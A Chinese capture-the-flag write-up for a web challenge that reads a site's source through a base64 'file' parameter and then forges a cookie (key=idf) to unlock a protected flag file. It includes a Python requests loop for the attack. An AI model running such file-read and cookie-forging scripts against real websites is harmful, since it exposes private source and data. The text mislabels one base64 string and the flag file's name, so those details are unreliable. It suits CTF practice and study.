IDF-cookie欺騙

原題鏈接:http://ctf.idf.cn/game/web/40/index.php

  1. 進(jìn)入題目,發(fā)現(xiàn)一個長字符串,放到md5、base64均無意義。
  2. 觀察地址欄,發(fā)現(xiàn)有兩個參數(shù),line和file
Paste_Image.png

(1)將file=后的參數(shù)放到base64解碼(url參數(shù)傳遞一般用base64編碼),可知該串原意為:flag.txt
(2)既然知道后面是接文件名,假設(shè)flag.txt在當(dāng)前目錄,那么猜想有其他的文件也在通過用base64加密的方式輸入到url中訪問,對index.html和index.php分別進(jìn)行測試,line從0向上遍歷

3.嘗試后可知,當(dāng)file=aW5kZXgucGhw(index.php的base64編碼)時,line的取值可獲取index.php源代碼的第line行


Paste_Image.png

4.遍歷整個文件可得:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

(1)分析代碼,做出以下注釋

error_reporting(0);
//不打印頁面訪問錯誤報告

$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
//解碼地址欄中file=后的內(nèi)容

$line=isset($_GET['line'])?intval($_GET['line']):0;
//獲取地址欄中l(wèi)ine=后的內(nèi)容

if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
//若地址為空,則跳轉(zhuǎn)到原界面(flag.txt) 無論line的值

$file_list = array('0' =>'flag.txt','1' =>'index.php',);
//創(chuàng)建file_list數(shù)組

if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
    $file_list[2]='flag.php';
}
//若id為key的cookie有定義,并且值為idf 則在file_list第三個位置插入flag.php

if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
}
//若file_list數(shù)組內(nèi)存在file文件名,則打印該文件的第line行代碼
?>

(2)閱讀代碼可知,cookie的名為key,值為idf, 將file參數(shù)置為ZmxhZy50eHQ(flag.php的base64碼)可以通過cookie欺騙的方式訪問flag.php文件

5.下面用python進(jìn)行cookie欺騙及遍歷源代碼

import requests  #該庫需要安裝 安裝過程自行百度
import sys

cookies = {'key': 'idf'}   #設(shè)置cookies的key值為idf 即cookies欺騙

for i in range(0,20):   #循環(huán)打開網(wǎng)頁并抓取網(wǎng)頁文本信息
   url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
   wp = requests.get(url, cookies=cookies)
   print(wp.text)

print("get flag success")

6.最終得到flag.txt 內(nèi)容為:
<?php $flag='wctf{idf_c00kie}'; ?>
flag即為wctf{idf_c00kie}

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容